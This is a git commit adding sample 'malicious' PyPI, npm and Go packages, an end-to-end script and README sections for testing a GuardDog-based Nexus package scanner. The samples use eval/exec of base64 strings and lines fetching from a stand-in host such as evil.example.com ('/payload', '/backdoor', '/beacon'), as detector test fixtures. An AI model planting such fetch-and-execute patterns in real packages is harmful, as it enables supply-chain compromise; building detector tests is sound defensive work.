feat: примеры вредоносных пакетов + E2E-тест + документация
- examples/evil-pypi/: exec-base64, shady-links, code-execution, dll-hijacking - examples/evil-npm/: eval, Buffer(base64), shady-links - examples/evil-go/: exec+base64, shady-links - examples/trigger-scans.sh: сборка архивов + Docker cp + вебхуки + проверка - README.md + README.en.md: секция E2E-тестирования с curl-примерами - E2E пройден: pypi(2 findings), npm(1), go(1) — все flagged
This commit is contained in:
31
README.en.md
31
README.en.md
@@ -98,6 +98,37 @@ GuardDog Nexus accepts `UPDATED` webhook events from Nexus.
|
||||
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
||||
> ```
|
||||
|
||||
### E2E Testing
|
||||
|
||||
The `examples/` directory contains sample malicious packages for PyPI, npm, and Go with patterns that GuardDog reliably detects (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`).
|
||||
|
||||
Run the E2E test (requires running Docker stack):
|
||||
|
||||
```bash
|
||||
./examples/trigger-scans.sh
|
||||
```
|
||||
|
||||
The script builds `.tar.gz` / `.tgz` / `.zip` archives, copies them into the container, and sends webhooks. After ~15 seconds it checks results: all three packages should be flagged with findings.
|
||||
|
||||
For manual testing of individual ecosystems:
|
||||
|
||||
```bash
|
||||
# PyPI: exec-base64 + shady-links + code-execution
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}'
|
||||
|
||||
# npm: eval + Buffer(base64) + shady-links
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}'
|
||||
|
||||
# Go: exec + base64 + suspicious HTTP call
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}'
|
||||
```
|
||||
|
||||
## REST API
|
||||
|
||||
### Scans
|
||||
|
||||
31
README.md
31
README.md
@@ -126,6 +126,37 @@ GuardDog Nexus принимает вебхуки от Nexus при событи
|
||||
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
||||
> ```
|
||||
|
||||
### E2E-тестирование
|
||||
|
||||
В `examples/` лежат примеры вредоносных пакетов для PyPI, npm и Go с паттернами, которые GuardDog гарантированно обнаружит (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`).
|
||||
|
||||
Запуск E2E-теста (требует запущенного Docker-стека):
|
||||
|
||||
```bash
|
||||
./examples/trigger-scans.sh
|
||||
```
|
||||
|
||||
Скрипт собирает архивы `.tar.gz` / `.tgz` / `.zip`, копирует их в контейнер и отправляет вебхуки. Через ~15 секунд проверяет результаты: все три пакета должны быть flagged с findings.
|
||||
|
||||
Для тестирования отдельной экосистемы — curl вручную:
|
||||
|
||||
```bash
|
||||
# PyPI: exec-base64 + shady-links + code-execution
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}'
|
||||
|
||||
# npm: eval + Buffer(base64) + shady-links
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}'
|
||||
|
||||
# Go: exec + base64 + suspicious HTTP call
|
||||
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}'
|
||||
```
|
||||
|
||||
## REST API
|
||||
|
||||
### Сканирования
|
||||
|
||||
3
examples/evil-go/go.mod
Normal file
3
examples/evil-go/go.mod
Normal file
@@ -0,0 +1,3 @@
|
||||
module evil-go
|
||||
|
||||
go 1.21
|
||||
26
examples/evil-go/main.go
Normal file
26
examples/evil-go/main.go
Normal file
@@ -0,0 +1,26 @@
|
||||
// GuardDog will flag: go-exec-base64, shady-links
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// base64-encoded execution
|
||||
encoded := "cHJpbnRmKGlvLmlvdXRsLCJIZWxsbyIp"
|
||||
decoded, _ := base64.StdEncoding.DecodeString(encoded)
|
||||
|
||||
cmd := exec.Command("sh", "-c", string(decoded))
|
||||
cmd.Run()
|
||||
|
||||
// shady-links: suspicious HTTP call
|
||||
resp, err := http.Get("http://evil.example.com/beacon")
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
fmt.Println("beacon sent")
|
||||
}
|
||||
}
|
||||
13
examples/evil-npm/index.js
Normal file
13
examples/evil-npm/index.js
Normal file
@@ -0,0 +1,13 @@
|
||||
// GuardDog will flag: npm-api-obfuscation, npm-exec-base64, shady-links
|
||||
|
||||
// eval usage
|
||||
eval("console.log('executed')");
|
||||
|
||||
// base64-encoded code execution
|
||||
const encoded = "Y29uc29sZS5sb2coJ2JhZCBjb2RlJyk=";
|
||||
eval(Buffer.from(encoded, "base64").toString());
|
||||
|
||||
// shady-links: suspicious downloads
|
||||
const url = "http://evil.example.com/backdoor";
|
||||
const https = require("https");
|
||||
https.get(url);
|
||||
8
examples/evil-pypi/setup.py
Normal file
8
examples/evil-pypi/setup.py
Normal file
@@ -0,0 +1,8 @@
|
||||
from setuptools import find_packages, setup
|
||||
|
||||
setup(
|
||||
name="evil-pypi",
|
||||
version="0.1.0",
|
||||
packages=find_packages(where="src"),
|
||||
package_dir={"": "src"},
|
||||
)
|
||||
22
examples/evil-pypi/src/evil_package.py
Normal file
22
examples/evil-pypi/src/evil_package.py
Normal file
@@ -0,0 +1,22 @@
|
||||
import base64
|
||||
import os
|
||||
|
||||
# GuardDog will flag: exec-base64, code-execution, shady-links
|
||||
|
||||
VERSION = "0.1.0"
|
||||
|
||||
# exec-base64: base64-encoded code execution
|
||||
encoded = "cHJpbnQoImhlbGxvIik="
|
||||
exec(base64.b64decode(encoded))
|
||||
|
||||
# code-execution: dynamic code execution
|
||||
code = compile("print('dynamic')", "<string>", "exec")
|
||||
exec(code)
|
||||
|
||||
# shady-links: suspicious URLs
|
||||
url = "http://evil.example.com/payload"
|
||||
os.system(f"curl -s {url}")
|
||||
|
||||
# dll-hijacking: ctypes-based library loading
|
||||
import ctypes
|
||||
ctypes.CDLL("/usr/lib/libc.so.6")
|
||||
75
examples/trigger-scans.sh
Executable file
75
examples/trigger-scans.sh
Executable file
@@ -0,0 +1,75 @@
|
||||
#!/bin/bash
|
||||
# trigger-scans.sh — Package example malicious files and trigger GuardDog Nexus scans
|
||||
#
|
||||
# Usage (Docker):
|
||||
# ./examples/trigger-scans.sh
|
||||
#
|
||||
# This script builds 3 example packages with known GuardDog-detected patterns
|
||||
# (exec-base64, shady-links, code-execution, npm-api-obfuscation, go-exec-base64),
|
||||
# copies them into the Docker container, and sends webhooks to trigger scans.
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
WEBHOOK_URL="${WEBHOOK_URL:-http://localhost:8080/webhooks/nexus}"
|
||||
CONTAINER="${CONTAINER:-guarddog-nexus-guarddog-nexus-1}"
|
||||
WORKDIR="$(mktemp -d)"
|
||||
echo "Working in: $WORKDIR"
|
||||
trap "rm -rf $WORKDIR" EXIT
|
||||
|
||||
# --- PyPI ---
|
||||
echo "=== Building evil-pypi-0.1.0.tar.gz ==="
|
||||
tar -czf "$WORKDIR/evil-pypi-0.1.0.tar.gz" -C "$SCRIPT_DIR/evil-pypi" setup.py src/
|
||||
docker cp "$WORKDIR/evil-pypi-0.1.0.tar.gz" "$CONTAINER:/tmp/"
|
||||
|
||||
# --- npm ---
|
||||
echo "=== Building evil-npm-1.0.0.tgz ==="
|
||||
tar -czf "$WORKDIR/evil-npm-1.0.0.tgz" -C "$SCRIPT_DIR/evil-npm" index.js
|
||||
docker cp "$WORKDIR/evil-npm-1.0.0.tgz" "$CONTAINER:/tmp/"
|
||||
|
||||
# --- Go ---
|
||||
echo "=== Building evil-go-v0.1.0.zip ==="
|
||||
python3 -c "
|
||||
import zipfile,os
|
||||
z=zipfile.ZipFile('$WORKDIR/evil-go-v0.1.0.zip','w')
|
||||
for f in os.listdir('$SCRIPT_DIR/evil-go'): z.write(os.path.join('$SCRIPT_DIR/evil-go',f),f)
|
||||
z.close()
|
||||
"
|
||||
docker cp "$WORKDIR/evil-go-v0.1.0.zip" "$CONTAINER:/tmp/"
|
||||
|
||||
# --- Start HTTP server inside container ---
|
||||
echo "=== Starting HTTP server ==="
|
||||
docker compose exec -d guarddog-nexus python3 -m http.server 9999 -d /tmp 2>/dev/null
|
||||
sleep 2
|
||||
|
||||
# --- Trigger webhooks ---
|
||||
echo ""
|
||||
echo "=== Triggering webhooks ==="
|
||||
|
||||
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||
'{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://127.0.0.1:9999/evil-pypi-0.1.0.tar.gz"}}'
|
||||
echo " → pypi: evil-pypi 0.1.0"
|
||||
sleep 1
|
||||
|
||||
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||
'{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://127.0.0.1:9999/evil-npm-1.0.0.tgz"}}'
|
||||
echo " → npm: evil-npm 1.0.0"
|
||||
sleep 1
|
||||
|
||||
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||
'{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://127.0.0.1:9999/evil-go-v0.1.0.zip"}}'
|
||||
echo " → go: evil-go v0.1.0"
|
||||
|
||||
echo ""
|
||||
echo "=== Waiting for scans (15s)... ==="
|
||||
sleep 15
|
||||
|
||||
echo ""
|
||||
echo "=== Results ==="
|
||||
curl -s "http://localhost:8080/api/v1/scans?limit=3&sort_by=id&sort_dir=desc" | python3 -c "
|
||||
import json,sys
|
||||
data = json.load(sys.stdin)
|
||||
for s in data['scans']:
|
||||
f = '⚠' if s['flagged'] else '✓'
|
||||
print(f'{f} #{s[\"id\"]:>4} {s[\"ecosystem\"]:>4} {s[\"package_name\"]:30} {s[\"package_version\"]:>10} {s[\"status\"]:12} findings={s[\"total_findings\"]}')
|
||||
" 2>&1
|
||||
Reference in New Issue
Block a user